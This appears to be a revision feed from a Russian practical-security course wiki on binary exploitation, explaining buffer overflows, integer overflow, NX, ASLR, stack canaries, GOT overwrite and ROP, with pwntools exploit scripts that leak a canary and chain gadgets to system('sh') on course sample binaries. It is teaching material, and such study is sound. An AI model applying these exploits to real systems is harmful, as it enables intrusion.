Для написания эксплоитов рекомендуется использовать удобную библиотеку pwntools.&lt;br /&gt;
&lt;br /&gt;
Например, фрагмент экслплоита для задания может выглядеть так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) == 3:&lt;br /&gt;
    # python2 exploit.py HOST PORT&lt;br /&gt;
    p = remote(sys.argv[1], sys.argv[2])&lt;br /&gt;
else:&lt;br /&gt;
    # python2 exploit.py&lt;br /&gt;
    # запуск процесса локально для отладки&lt;br /&gt;
    p = process(&amp;quot;./locked_down&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
libc = ELF(&amp;quot;./libc.so.6&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;printf offset&amp;quot;, libc.sym[&amp;quot;printf&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
# подключиться к процессу и поставить breakpoint&lt;br /&gt;
# на указанный адрес&lt;br /&gt;
gdb.attach(p, &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    b * 0xdeadbeef&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;&amp;gt; &amp;quot;) # считывать данные, пока не придет строка &amp;quot;&amp;gt; &amp;quot;&lt;br /&gt;
p.sendline(&amp;quot;3&amp;quot;)&lt;br /&gt;
p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
p.sendline()&lt;br /&gt;
p.recvuntil(&amp;quot;Enter contents&amp;quot;)&lt;br /&gt;
p.send(&amp;quot;foobar&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.interactive() # перейти в интерактивный режим&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* http://docs.pwntools.com/en/stable/tubes.html&lt;br /&gt;
* http://docs.pwntools.com/en/stable/tubes.html#pwnlib.tubes.tube.tube.recvuntil&lt;br /&gt;
* http://docs.pwntools.com/en/stable/util/packing.html#module-pwnlib.util.packing&lt;br /&gt;
* http://docs.pwntools.com/en/stable/elf/elf.html#example-usage&lt;br /&gt;
&lt;br /&gt;
== Мелочи ==&lt;br /&gt;
&lt;br /&gt;
=== Версия libc  ===&lt;br /&gt;
Ваша версия libc может не совпадать с той, которая используется на сервере, что&lt;br /&gt;
сказывается на смещениях функций.&lt;br /&gt;
Чтобы вам не приходилось перебирать возможные версии libc популярных дистрибутивов,&lt;br /&gt;
вместе с заданием приложены бинари libc.&lt;br /&gt;
&lt;br /&gt;
Вообще отлаживать с корректной версией libc может быть необязательно: если отличия только&lt;br /&gt;
в смещениях функций, то достаточно лишь аккуратно заменить их перед запуском на сервере.&lt;br /&gt;
Но иногда отличия более серьезные: например, если вы используете ROP-гаджеты из libc.&lt;br /&gt;
&lt;br /&gt;
Запустить бинарь с чужой версией libc можно таким способом:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
LD_TRACE_LOADED_OBJECTS=1 LD_LIBRARY_PATH=. ./locked_down # чтобы убедиться, что подгрузилась правильная библиотека&lt;br /&gt;
LD_LIBRARY_PATH=. ./locked_down&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Однако если ваша родная версия libc слишком новая или слишком старая, из-за различий в ld.so&lt;br /&gt;
это может не сработать, и программа упадет на запуске.&lt;br /&gt;
&lt;br /&gt;
В таком случае можно порекомендовать запускать всё в виртуалке или докере с приблизительно такой же версией&lt;br /&gt;
дистрибутива (&amp;lt;code&amp;gt;ubuntu:16.04&amp;lt;/code&amp;gt;).&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_pwn_tasks.tar.gz&amp;diff=229</id>
		<title>Файл:2019 pwn tasks.tar.gz</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_pwn_tasks.tar.gz&amp;diff=229"/>
		<updated>2019-03-30T15:38:59Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=228</id>
		<title>Введение в практическую безопасность (2019)/Бинарная эксплуатация</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=228"/>
		<updated>2019-03-27T22:45:03Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Пример эксплоита */ правильный уровень заголовка&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Уязвимости ==&lt;br /&gt;
&lt;br /&gt;
=== Переполнение буфера ===&lt;br /&gt;
Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции &amp;lt;code&amp;gt;gets&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;, а также такое встречается и в пользовательском коде.&lt;br /&gt;
&lt;br /&gt;
Техника эксплуатации сильно зависит от того, где произошло переполнение.&lt;br /&gt;
&lt;br /&gt;
* Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.&lt;br /&gt;
* Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.&lt;br /&gt;
* Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором&amp;lt;ref&amp;gt;https://sourceware.org/glibc/wiki/MallocInternals&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;https://github.com/shellphish/how2heap&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Buffer over-read ===&lt;br /&gt;
&lt;br /&gt;
Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.&lt;br /&gt;
&lt;br /&gt;
Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг [[wikipedia:Heartbleed]].&lt;br /&gt;
&lt;br /&gt;
=== Uninitialized memory read ===&lt;br /&gt;
&lt;br /&gt;
Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.&lt;br /&gt;
&lt;br /&gt;
=== Integer overflow ===&lt;br /&gt;
&lt;br /&gt;
Целочисленное переполнение является опасной уззвимостью, когда переполнение происходит при рассчете размера для выделения памяти.&lt;br /&gt;
&lt;br /&gt;
В следующем примере сумма &amp;lt;code&amp;gt;len1+len2&amp;lt;/code&amp;gt; может переполниться таким образом, что len1 &amp;gt; len1 + len2 (https://ideone.com/qU4csI):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int foo(int fd) {&lt;br /&gt;
    size_t len1 = read_size(fd);&lt;br /&gt;
    size_t len2 = read_size(fd);&lt;br /&gt;
    char *buf = malloc(len1+len2);&lt;br /&gt;
    read_data(fd, buf, len1);&lt;br /&gt;
    read_data(fd, buf+len1, len2);&lt;br /&gt;
    // ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Поэтому &amp;lt;code&amp;gt;read_data&amp;lt;/code&amp;gt; может записать в буфер больше данных, чем доступно памяти в буфере, и затереть таким образом соседние объекты на куче.&lt;br /&gt;
&lt;br /&gt;
Похожая проблема возникает при умножении и даже при неаккуратном прибавлении константного числа.&lt;br /&gt;
&lt;br /&gt;
== Средства защиты ==&lt;br /&gt;
В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).&lt;br /&gt;
&lt;br /&gt;
=== No execute (NX) ===&lt;br /&gt;
&lt;br /&gt;
Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через &amp;lt;code&amp;gt;malloc&amp;lt;/code&amp;gt; или в статический глобальный буфер, при попытке выполнить этот код произойдет &amp;lt;code&amp;gt;SIGSEGV&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
На уровне пользовательской программы это реализовано флагом &amp;lt;code&amp;gt;prot&amp;lt;/code&amp;gt; в системных вызовах &amp;lt;code&amp;gt;mmap&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt;. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (&amp;lt;code&amp;gt;ld.so&amp;lt;/code&amp;gt;) и libc сами выделяют память с правильными правами доступа.&lt;br /&gt;
&lt;br /&gt;
Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы &amp;lt;code&amp;gt;pmap&amp;lt;/code&amp;gt;, команды &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; в GDB, или &amp;lt;code&amp;gt;vmmap&amp;lt;/code&amp;gt; в GDB+PEDA.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/NX_bit&lt;br /&gt;
&lt;br /&gt;
=== ASLR ===&lt;br /&gt;
&lt;br /&gt;
Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.&lt;br /&gt;
&lt;br /&gt;
Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt; просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг &amp;lt;code&amp;gt;is_admin&amp;lt;/code&amp;gt;): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.&lt;br /&gt;
&lt;br /&gt;
Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; возвращается куда-то в недра &amp;lt;code&amp;gt;__libc_start_main&amp;lt;/code&amp;gt;, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.&lt;br /&gt;
&lt;br /&gt;
Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано &amp;lt;code&amp;gt;0x00400000&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pwn checksec /bin/bash&lt;br /&gt;
[*] &#039;/bin/bash&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Address_space_layout_randomization&lt;br /&gt;
&lt;br /&gt;
=== Stack canary ===&lt;br /&gt;
Stack canary (&amp;lt;code&amp;gt;-fstack-protector&amp;lt;/code&amp;gt;, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.&lt;br /&gt;
&lt;br /&gt;
В прологе функции за адресом возврата&amp;lt;ref&amp;gt;Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.&amp;lt;/ref&amp;gt; на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.&lt;br /&gt;
&lt;br /&gt;
В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите &amp;lt;code&amp;gt;__readfsqword(0x28u)&amp;lt;/code&amp;gt;, можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.&lt;br /&gt;
&lt;br /&gt;
* https://wiki.osdev.org/Stack_Smashing_Protector&lt;br /&gt;
&lt;br /&gt;
== Техники эксплуатации ==&lt;br /&gt;
&lt;br /&gt;
=== Перезапись GOT ===&lt;br /&gt;
В динамических слинкованных бинарях для вызова фунций из библиотек (libc и другие) используется специальная таблица GOT (global offset table).&lt;br /&gt;
&lt;br /&gt;
Эта таблица содержит адреса библиотечных функций, которые требуются данной программе&amp;lt;ref&amp;gt;Библиотеки тоже могут использовать функции из других библиотек, у них тоже есть такая таблица.&amp;lt;/ref&amp;gt;. Эта таблица заполняется динамических загрузчиком (ld.so, dynamic linker/loader). По умолчанию эта таблица заполняется лениво: вместо адресов целевых функций там лежат адреса заглушек, которые вызывают динамический загрузчик, который в свою очередь заносит в таблицу уже адрес нужной функции и передает управление на неё. При последующих вызовах функция уже будет вызываться непосредственно, без загрузчика.&lt;br /&gt;
&lt;br /&gt;
Поскольку такая ленивость предполагает доступ к этой таблице на запись во время работы программы, записи в ней очень удобно переписывать в процессе эксплуатации. Основными претендентами являются функции, принимающие первым аргументом указатель на контролируемую пользователем строку, типа &amp;lt;code&amp;gt;free&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strlen&amp;lt;/code&amp;gt;, и т.д.: их удобно переписывать на адрес &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Также бывает полезно читать данные оттуда для получения смещения libc и обхода ASLR таким образом.&lt;br /&gt;
&lt;br /&gt;
Так как GOT обычно находится перед секциями &amp;lt;code&amp;gt;.data&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;.bss&amp;lt;/code&amp;gt;, в эту таблицу можно попасть по отрицательным смещениям относительно глобальных переменных, также через arbitrary read/write по произвольному абсолютному адресу.&lt;br /&gt;
&lt;br /&gt;
Опционально при компиляции можно включить защиту RELRO, которая делает эту таблицу неленивой и недоступной для запись. Уровень защиты можно проверить при помощи checksec (Partial RELRO с точки зрения эксплуатации не отличается от отсутствия RELRO, защиту обеспечивает только Full RELRO):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% ~/.local/bin/pwn checksec /bin/cat&lt;br /&gt;
[*] &#039;/bin/cat&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://github.com/Gallopsled/pwntools-tutorial/tree/master/walkthrough/elf-symbols-got-overwrite&lt;br /&gt;
&lt;br /&gt;
=== Return-oriented programming ===&lt;br /&gt;
&lt;br /&gt;
Return-oriented programming (ROP) - популярная техника эксплуатации переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
В самом простом варианте эксплуатации такого переполнения переписывается только адрес возврата функции. Однако такое не позволяет вызвать функцию с произвольными параметрами, можно лишь передавать управление на готовые куски кода. Это само по себе неплохо, если есть хорошие места в программе или в библиотеках (см. [https://github.com/david942j/one_gadget one gadget RCE] в libc).&lt;br /&gt;
&lt;br /&gt;
Но можно пойти дальше. Если есть возможность переписать и после адреса возврата, туда можно записать адреса т.н. гаджетов - последовательностей инструкций, заканчивающихся на &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Эти гаджеты можно находить при помощи программ ropper, ROPGadget, и других. Эти программы позволяют находить гаджеты, которые не видны при простом дизассемблировании, т.к. как они могут начинаться на середине инструкции:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ~/.local/bin/pwn disasm -c amd64 5FC3&lt;br /&gt;
   0:    5f                       pop    rdi&lt;br /&gt;
   1:    c3                       ret&lt;br /&gt;
$ ~/.local/bin/pwn disasm -c amd64 415FC3&lt;br /&gt;
   0:    41 5f                    pop    r15&lt;br /&gt;
   2:    c3                       ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ~/.local/bin/ropper --file example_1.5_gets&lt;br /&gt;
...&lt;br /&gt;
0x0000000000400ba3: pop rdi; ret;&lt;br /&gt;
0x0000000000400ba1: pop rsi; pop r15; ret;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Например, нужно вызвать функцию по адресу &amp;lt;code&amp;gt;0xdeadbeef&amp;lt;/code&amp;gt; функцию с аргументами 1 и 2. Тогда на стек, начиная с адреса возврата, нужно записать такие 64-битные числа: &amp;lt;code&amp;gt;0x0000000000400ba3, 0x1, 0x0000000000400ba1, 0x2, 0x1337, 0xdeadbeef&amp;lt;/code&amp;gt;. Для понимания, как это работает, нужно отследить как меняется RSP по мере выполнения инструкций &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;pop&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Return-oriented_programming&lt;br /&gt;
* https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI - какие регистры используются при вызове функций.&lt;br /&gt;
&lt;br /&gt;
==== Пример эксплоита ====&lt;br /&gt;
&lt;br /&gt;
Эксплоит для ./example_1.5_gets:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
gdb.attach(p,&lt;br /&gt;
    &amp;quot;b * 0x400B2D&amp;quot;        &lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
    &lt;br /&gt;
payload += p64(0x0000000000400ba3) # pop rdi&lt;br /&gt;
payload += p64(0x6020B0) # -&amp;gt; rdi&lt;br /&gt;
payload += p64(0x4009B0) # read_line&lt;br /&gt;
payload += p64(0x0000000000400ba3) # pop rdi&lt;br /&gt;
payload += p64(0x6020B0) # -&amp;gt; rdi&lt;br /&gt;
payload += p64(0x400B33) # system&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;id&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== pwntools ===&lt;br /&gt;
&lt;br /&gt;
pwntools - удобная библиотека-фреймворк для написания эксплоитов.&lt;br /&gt;
&lt;br /&gt;
http://docs.pwntools.com/en/stable/index.html&lt;br /&gt;
&lt;br /&gt;
Эксплоит для примера &amp;lt;code&amp;gt;example_1.5_gets&amp;lt;/code&amp;gt;, разбираемого на задании ([[Media:2019 pwn samples.zip]]):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
#context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
#gdb.attach(p) # &amp;lt;- uncomment to enable debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
payload += p64(0x400B33) # &amp;lt;- try to set it to 0xdeadbeef and see what happens in debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=227</id>
		<title>Введение в практическую безопасность (2019)/Бинарная эксплуатация</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=227"/>
		<updated>2019-03-27T21:39:55Z</updated>

		<summary type="html">&lt;p&gt;WGH: integer overflow, GOT overwrite and ROP&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Уязвимости ==&lt;br /&gt;
&lt;br /&gt;
=== Переполнение буфера ===&lt;br /&gt;
Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции &amp;lt;code&amp;gt;gets&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;, а также такое встречается и в пользовательском коде.&lt;br /&gt;
&lt;br /&gt;
Техника эксплуатации сильно зависит от того, где произошло переполнение.&lt;br /&gt;
&lt;br /&gt;
* Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.&lt;br /&gt;
* Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.&lt;br /&gt;
* Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором&amp;lt;ref&amp;gt;https://sourceware.org/glibc/wiki/MallocInternals&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;https://github.com/shellphish/how2heap&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Buffer over-read ===&lt;br /&gt;
&lt;br /&gt;
Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.&lt;br /&gt;
&lt;br /&gt;
Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг [[wikipedia:Heartbleed]].&lt;br /&gt;
&lt;br /&gt;
=== Uninitialized memory read ===&lt;br /&gt;
&lt;br /&gt;
Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.&lt;br /&gt;
&lt;br /&gt;
=== Integer overflow ===&lt;br /&gt;
&lt;br /&gt;
Целочисленное переполнение является опасной уззвимостью, когда переполнение происходит при рассчете размера для выделения памяти.&lt;br /&gt;
&lt;br /&gt;
В следующем примере сумма &amp;lt;code&amp;gt;len1+len2&amp;lt;/code&amp;gt; может переполниться таким образом, что len1 &amp;gt; len1 + len2 (https://ideone.com/qU4csI):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int foo(int fd) {&lt;br /&gt;
    size_t len1 = read_size(fd);&lt;br /&gt;
    size_t len2 = read_size(fd);&lt;br /&gt;
    char *buf = malloc(len1+len2);&lt;br /&gt;
    read_data(fd, buf, len1);&lt;br /&gt;
    read_data(fd, buf+len1, len2);&lt;br /&gt;
    // ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
